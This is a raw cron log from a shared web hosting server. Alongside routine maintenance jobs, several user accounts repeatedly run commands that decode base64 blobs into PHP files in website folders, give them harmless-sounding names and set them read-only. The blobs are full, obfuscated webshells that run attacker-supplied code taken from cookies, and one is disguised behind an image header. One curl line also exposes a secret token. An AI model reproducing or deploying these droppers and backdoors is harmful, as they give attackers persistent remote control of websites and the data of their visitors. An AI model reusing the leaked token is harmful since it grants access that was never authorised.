"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:23:02 medusa CROND[23131]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:24:01 medusa CROND[11517]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 10:24:01 medusa CROND[11580]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:24:01 medusa CROND[11582]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:24:01 medusa CROND[11583]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:24:01 medusa CROND[11584]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:24:01 medusa CROND[11585]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:24:01 medusa CROND[11587]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:24:01 medusa CROND[11591]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:24:01 medusa CROND[11592]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:24:01 medusa CROND[11581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:24:01 medusa CROND[11593]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:24:01 medusa CROND[11594]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:24:01 medusa CROND[11595]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:25:01 medusa CROND[1339]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 10:25:01 medusa CROND[1345]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 10:25:01 medusa CROND[1367]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 10:25:01 medusa CROND[1483]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 10:25:01 medusa CROND[1484]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 10:25:01 medusa CROND[1485]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:25:01 medusa CROND[1481]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 10:25:01 medusa CROND[1489]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 10:25:01 medusa CROND[1490]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:25:01 medusa CROND[1493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:25:01 medusa CROND[1491]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 10:25:01 medusa CROND[1497]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Mar  1 10:25:01 medusa CROND[1498]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:25:01 medusa CROND[1501]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:25:01 medusa CROND[1502]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:25:01 medusa CROND[1503]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:25:01 medusa CROND[1509]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 10:25:01 medusa CROND[1515]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:25:01 medusa CROND[1506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:25:01 medusa CROND[1517]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
